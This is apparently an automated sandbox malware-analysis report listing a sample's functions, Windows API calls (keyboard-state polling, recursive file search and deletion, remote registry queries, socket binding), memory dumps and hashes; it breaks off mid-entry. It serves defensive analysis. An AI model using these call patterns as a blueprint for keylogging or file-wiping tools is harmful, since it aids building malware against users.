                                                              Memory Dump Source
                                                              • Source File: 00000008.00000003.2359226380.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Offset: 015B5000, based on PE: false
                                                              • Associated: 00000008.00000003.2358205298.000000000156F000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_3_156f000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ContextThreadWow64
                                                              • String ID:
                                                              • API String ID: 983334009-0
                                                              • Opcode ID: 5255a0b058052d87eccb86490df1933a45f29f5e019126e85942741fa4dca6c5
                                                              • Instruction ID: 6aeb9a792d2598fa2bd7ee155db950fc181d682797f06e6c93bbd1dc9e844428
                                                              • Opcode Fuzzy Hash: 5255a0b058052d87eccb86490df1933a45f29f5e019126e85942741fa4dca6c5
                                                              • Instruction Fuzzy Hash: 7AE08C316802407FE105A7B4CC02F2E3326AF92B58F25009CBE062F2E0D6F37C00D66A
                                                              Function 01600F17 Relevance: 1.5, APIs: 1, Instructions: 20threadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • Wow64GetThreadContext.KERNEL32(?), ref: 01600F1D
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000003.2359226380.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Offset: 015FF000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_3_156f000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ContextThreadWow64
                                                              • String ID:
                                                              • API String ID: 983334009-0
                                                              • Opcode ID: 5cf161d17bf5d2a777fc8cb02f8a3d07fd6eb7aec55af2bce78cdb844f0a4740
                                                              • Instruction ID: 6aeb9a792d2598fa2bd7ee155db950fc181d682797f06e6c93bbd1dc9e844428
                                                              • Opcode Fuzzy Hash: 5cf161d17bf5d2a777fc8cb02f8a3d07fd6eb7aec55af2bce78cdb844f0a4740
                                                              • Instruction Fuzzy Hash: 7AE08C316802407FE105A7B4CC02F2E3326AF92B58F25009CBE062F2E0D6F37C00D66A
                                                              Function 0090E753 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 0090E76C
                                                                • Part of subcall function 008A84B7: _wcslen.LIBCMT ref: 008A84CA
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: FolderPath_wcslen
                                                              • String ID:
                                                              • API String ID: 2987691875-0
                                                              • Opcode ID: 773b90c845f2f5e524dc9b4e6292fe79d215c1aa5701981710ee50d3a98f2082
                                                              • Instruction ID: 628bc6c27258e56241024ee11563f0c668fe006e2deb1df7aeae3b688bdc86ac
                                                              • Opcode Fuzzy Hash: 773b90c845f2f5e524dc9b4e6292fe79d215c1aa5701981710ee50d3a98f2082
                                                              • Instruction Fuzzy Hash: 38D05EA59002287FEF60A674AC0DDB73AACD744210F0006A0786DD3192E934ED448AB0
                                                              Function 0090DA5C Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CopyFileExW.KERNELBASE(?,?,00000000,00000000,00000000,00000008,?,?,0090D9DC,?,?), ref: 0090DA72
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CopyFile
                                                              • String ID:
                                                              • API String ID: 1304948518-0
                                                              • Opcode ID: 5a5af296d5acd02814505d7fab22fc226260b0a5bc900fd5827b34f2ce4e481e
                                                              • Instruction ID: b3ba53bc3f835c3aa2e973d8b94445fdf32ca0f77bbd8ae6d96760311d18d980
                                                              • Opcode Fuzzy Hash: 5a5af296d5acd02814505d7fab22fc226260b0a5bc900fd5827b34f2ce4e481e
                                                              • Instruction Fuzzy Hash: D6D0A7305D0208BBEF108B50CC03F99B76CE701B45F104194B101EA0D0C7B5A508AB24
                                                              Function 008E073A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateFileW.KERNELBASE(00000000,00000000,?,008E0AA4,?,?,00000000,?,008E0AA4,00000000,0000000C), ref: 008E0757
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CreateFile
                                                              • String ID:
                                                              • API String ID: 823142352-0
                                                              • Opcode ID: 89a310e5087b410e3b94c529db7ae0857621b96d65e59b72370bc84a7ccc5131
                                                              • Instruction ID: 88506e3ea47440de6f95fcb8b51a8bf860b96affeadf7a53743b86db26a12c86
                                                              • Opcode Fuzzy Hash: 89a310e5087b410e3b94c529db7ae0857621b96d65e59b72370bc84a7ccc5131
                                                              • Instruction Fuzzy Hash: CFD06C3201410DBBDF028F84ED06EDA3BAAFB48714F014000BE1856020C732E821AB90
                                                              Function 0090E9C5 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetFileAttributesW.KERNELBASE(?,0090D755), ref: 0090E9C6
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: AttributesFile
                                                              • String ID:
                                                              • API String ID: 3188754299-0
                                                              • Opcode ID: f35e41460e2ab7c6a391581122db4ba8224a1cfc55210d3a3d17ebad8774b5e4
                                                              • Instruction ID: 823ed739f882ba40925b9686b691a705a3388acce1e1c7394cb310c95c23e04c
                                                              • Opcode Fuzzy Hash: f35e41460e2ab7c6a391581122db4ba8224a1cfc55210d3a3d17ebad8774b5e4
                                                              • Instruction Fuzzy Hash: ADB0922441961009FD7C0A382A180AA230868433A67D81F95E4B9951E2C339881BEA10
                                                              Function 00916561 Relevance: 1.3, APIs: 1, Instructions: 31COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0090DB69: FindFirstFileW.KERNELBASE(?,?), ref: 0090DBE0
                                                                • Part of subcall function 0090DB69: DeleteFileW.KERNELBASE(?,?,?,?), ref: 0090DC30
                                                                • Part of subcall function 0090DB69: FindNextFileW.KERNEL32(00000000,00000010), ref: 0090DC41
                                                                • Part of subcall function 0090DB69: FindClose.KERNEL32(00000000), ref: 0090DC58
                                                              • GetLastError.KERNEL32 ref: 00916583
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: FileFind$CloseDeleteErrorFirstLastNext
                                                              • String ID:
                                                              • API String ID: 2191629493-0
                                                              • Opcode ID: b1e68d5dd7e9468ac073e34e0d7f59018edafae38cdbf921622fc25166ba1072
                                                              • Instruction ID: 0c8dd34213481bfa666e330ec82c84b3955ae18a109cef5503897fdb227834df
                                                              • Opcode Fuzzy Hash: b1e68d5dd7e9468ac073e34e0d7f59018edafae38cdbf921622fc25166ba1072
                                                              • Instruction Fuzzy Hash: 40F058323002149FDB10AF58D854B6AB7E9EF99720F048409F90A8B352CB74FC018BA5
                                                              Function 008A7953 Relevance: 1.3, APIs: 1, Instructions: 19COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CloseHandle.KERNELBASE(?,?,00000000,008E3A1C), ref: 008A7973
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CloseHandle
                                                              • String ID:
                                                              • API String ID: 2962429428-0
                                                              • Opcode ID: 403ca1768550712218d42280f25c3c758a6a42d240f59ee655eebb910d3f2ceb
                                                              • Instruction ID: 95720bc6b75239554254200a55285baa28351b885bc061e9c245970232546996
                                                              • Opcode Fuzzy Hash: 403ca1768550712218d42280f25c3c758a6a42d240f59ee655eebb910d3f2ceb
                                                              • Instruction Fuzzy Hash: C2E09275408B12CFD3314F1AE844412FBE4FED23613244A2FD0E582A60D3B4588AEB50

                                                              Non-executed Functions

                                                              Function 0091A0FA Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FindFirstFileW.KERNEL32(?,?,76228FB0,?,00000000), ref: 0091A11B
                                                              • FindNextFileW.KERNEL32(00000000,?), ref: 0091A176
                                                              • FindClose.KERNEL32(00000000), ref: 0091A181
                                                              • FindFirstFileW.KERNEL32(*.*,?), ref: 0091A19D
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 0091A1ED
                                                              • SetCurrentDirectoryW.KERNEL32(00967B94), ref: 0091A20B
                                                              • FindNextFileW.KERNEL32(00000000,00000010), ref: 0091A215
                                                              • FindClose.KERNEL32(00000000), ref: 0091A222
                                                              • FindClose.KERNEL32(00000000), ref: 0091A232
                                                                • Part of subcall function 0090E2AE: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 0090E2C9
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
                                                              • String ID: *.*
                                                              • API String ID: 2640511053-438819550
                                                              • Opcode ID: dff5bc9154295d5932c1054e1171d5b268671254c5317d6c45ba78aa1c363fd6
                                                              • Instruction ID: 15d0713383219d8a3a14747e8bfecb47e75769d5beeeb8336f452b83dd40421f
                                                              • Opcode Fuzzy Hash: dff5bc9154295d5932c1054e1171d5b268671254c5317d6c45ba78aa1c363fd6
                                                              • Instruction Fuzzy Hash: 6731E13160621D6ADF10AFB4EC18AEE73ACEF49328F100596E821E3090DB71DEC5CA55
                                                              Function 0092C7A3 Relevance: 17.0, APIs: 11, Instructions: 456registryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0092D2F7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0092C00D,?,?), ref: 0092D314
                                                                • Part of subcall function 0092D2F7: _wcslen.LIBCMT ref: 0092D350
                                                                • Part of subcall function 0092D2F7: _wcslen.LIBCMT ref: 0092D3C7
                                                                • Part of subcall function 0092D2F7: _wcslen.LIBCMT ref: 0092D3FD
                                                              • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0092C89D
                                                              • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?), ref: 0092C908
                                                              • RegCloseKey.ADVAPI32(00000000), ref: 0092C92C
                                                              • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0092C98B
                                                              • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 0092CA46
                                                              • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 0092CAB3
                                                              • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 0092CB48
                                                              • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 0092CB99
                                                              • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 0092CC42
                                                              • RegCloseKey.ADVAPI32(?,?,00000000), ref: 0092CCE1
                                                              • RegCloseKey.ADVAPI32(00000000), ref: 0092CCEE
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: QueryValue$Close_wcslen$BuffCharConnectOpenRegistryUpper
                                                              • String ID:
                                                              • API String ID: 3102970594-0
                                                              • Opcode ID: f07bcf0d07403ecfe2bfe8544b699bab0e2ac945c37ffa6c364f206e030d4c4f
                                                              • Instruction ID: ba5095a814f64734b63690acddb7ba17734b85d8f823c7906ed40767902d93fb
                                                              • Opcode Fuzzy Hash: f07bcf0d07403ecfe2bfe8544b699bab0e2ac945c37ffa6c364f206e030d4c4f
                                                              • Instruction Fuzzy Hash: 470260B1604210AFD714DF28D895E2AB7E5FF49314F18889DF44ACB2A6DB31ED41CB92
                                                              Function 0090A54A Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetKeyboardState.USER32(?), ref: 0090A572
                                                              • GetAsyncKeyState.USER32(000000A0), ref: 0090A5F3
                                                              • GetKeyState.USER32(000000A0), ref: 0090A60E
                                                              • GetAsyncKeyState.USER32(000000A1), ref: 0090A628
                                                              • GetKeyState.USER32(000000A1), ref: 0090A63D
                                                              • GetAsyncKeyState.USER32(00000011), ref: 0090A655
                                                              • GetKeyState.USER32(00000011), ref: 0090A667
                                                              • GetAsyncKeyState.USER32(00000012), ref: 0090A67F
                                                              • GetKeyState.USER32(00000012), ref: 0090A691
                                                              • GetAsyncKeyState.USER32(0000005B), ref: 0090A6A9
                                                              • GetKeyState.USER32(0000005B), ref: 0090A6BB
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: State$Async$Keyboard
                                                              • String ID:
                                                              • API String ID: 541375521-0
                                                              • Opcode ID: 5da68a2080b5b0a08a8c3112b03f825dbb5f2de87937ca84ff41cedc1412b4f0
                                                              • Instruction ID: b7af7f4aab08353957c68776e2a2002ccfc2b850c11f2f74973b613f119acef6
                                                              • Opcode Fuzzy Hash: 5da68a2080b5b0a08a8c3112b03f825dbb5f2de87937ca84ff41cedc1412b4f0
                                                              • Instruction Fuzzy Hash: 5641B7749087C96EFF31876098143A9BEB8BF21344F0C8059E5C64A2C2DB959DD4DBE3
                                                              Function 00924089 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CoInitialize.OLE32 ref: 009240D1
                                                              • CoUninitialize.OLE32 ref: 009240DC
                                                              • CoCreateInstance.OLE32(?,00000000,00000017,00940B44,?), ref: 00924136
                                                              • IIDFromString.OLE32(?,?), ref: 009241A9
                                                              • VariantInit.OLEAUT32(?), ref: 00924241
                                                              • VariantClear.OLEAUT32(?), ref: 00924293
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
                                                              • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                                              • API String ID: 636576611-1287834457
                                                              • Opcode ID: 76de21bd6ee2cf9edab24a624767775e8173120b263a1e5a7ba6f6c1bed4e5ba
                                                              • Instruction ID: 2fdcfda2d74c41ea193c96b7ca2dea08029ecd34af8f51e9746d3b88d3f20f8c
                                                              • Opcode Fuzzy Hash: 76de21bd6ee2cf9edab24a624767775e8173120b263a1e5a7ba6f6c1bed4e5ba
                                                              • Instruction Fuzzy Hash: F161AF70208311DFD710DF65E848B5ABBE8FF99754F000909F9959B291D770ED88CB92
                                                              Function 0091A488 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008AB25F: _wcslen.LIBCMT ref: 008AB269
                                                              • FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 0091A4D5
                                                              • FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 0091A5E8
                                                                • Part of subcall function 009141CE: GetInputState.USER32 ref: 00914225
                                                                • Part of subcall function 009141CE: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 009142C0
                                                              • Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 0091A505
                                                              • FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 0091A5D2
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
                                                              • String ID: *.*
                                                              • API String ID: 1972594611-438819550
                                                              • Opcode ID: 8e7daae5e7360806149744a69d1edd4ed30cd4525cd695ecfb5f87f0adace688
                                                              • Instruction ID: 94f388677e9aa3b09c00f35fde83183fe9bd07acbbe23fb36af1ade2c7cc4415
                                                              • Opcode Fuzzy Hash: 8e7daae5e7360806149744a69d1edd4ed30cd4525cd695ecfb5f87f0adace688
                                                              • Instruction Fuzzy Hash: 1C41BF71A0520EAFDF11DFA8C949AEEBBB9FF05310F144056F415A21A1E7349E84CF62
                                                              Function 008A225D Relevance: 7.8, APIs: 5, Instructions: 309COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • DefDlgProcW.USER32(?,?), ref: 008A22EE
                                                              • GetSysColor.USER32(0000000F), ref: 008A23C3
                                                              • SetBkColor.GDI32(?,00000000), ref: 008A23D6
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Color$Proc
                                                              • String ID:
                                                              • API String ID: 929743424-0
                                                              • Opcode ID: ad1e9804e3b03c1c7480def4e4c9c23dafdbc9ecb09cf94d7cace2e85aa211a7
                                                              • Instruction ID: 774bec2ff81a411529f179438a2f240d92c92dcae00b2f542784d901284765ef
                                                              • Opcode Fuzzy Hash: ad1e9804e3b03c1c7480def4e4c9c23dafdbc9ecb09cf94d7cace2e85aa211a7
                                                              • Instruction Fuzzy Hash: C28107B0114098BEFA39A63E8C5DF7F295DFB87308F150119F542C6EA5CA59CE01D636
                                                              Function 00922163 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 009239AB: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 009239D7
                                                                • Part of subcall function 009239AB: _wcslen.LIBCMT ref: 009239F8
                                                              • socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 009221BA
                                                              • WSAGetLastError.WSOCK32 ref: 009221E1
                                                              • bind.WSOCK32(00000000,?,00000010), ref: 00922238
                                                              • WSAGetLastError.WSOCK32 ref: 00922243
                                                              • closesocket.WSOCK32(00000000), ref: 00922272
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
                                                              • String ID:
                                                              • API String ID: 1601658205-0
                                                              • Opcode ID: 3d4b512d0b4320f79fde776e03a363e673d18c743e032ff2b6d0e0fe08ebfc1d
                                                              • Instruction ID: c032f289cffeac0edee1f71e49b7dc95225cf44eb3a9dd5488b4961a8b48a919
                                                              • Opcode Fuzzy Hash: 3d4b512d0b4320f79fde776e03a363e673d18c743e032ff2b6d0e0fe08ebfc1d
                                                              • Instruction Fuzzy Hash: 6851D171A00210AFEB10AF28D896F6A77E5EB15714F048488F9159F3D3CB75AD41CBA2
                                                              Function 009325A0 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                              • String ID:
                                                              • API String ID: 292994002-0
                                                              • Opcode ID: fc05cee38a239ad94448cc719f66efd1a69480962df2fb43ddbc5ca200c5671c
                                                              • Instruction ID: 71ece79a01ca957a071296e24ad6f73ba74d70ea780002873a37adc8ec0648ce
                                                              • Opcode Fuzzy Hash: fc05cee38a239ad94448cc719f66efd1a69480962df2fb43ddbc5ca200c5671c
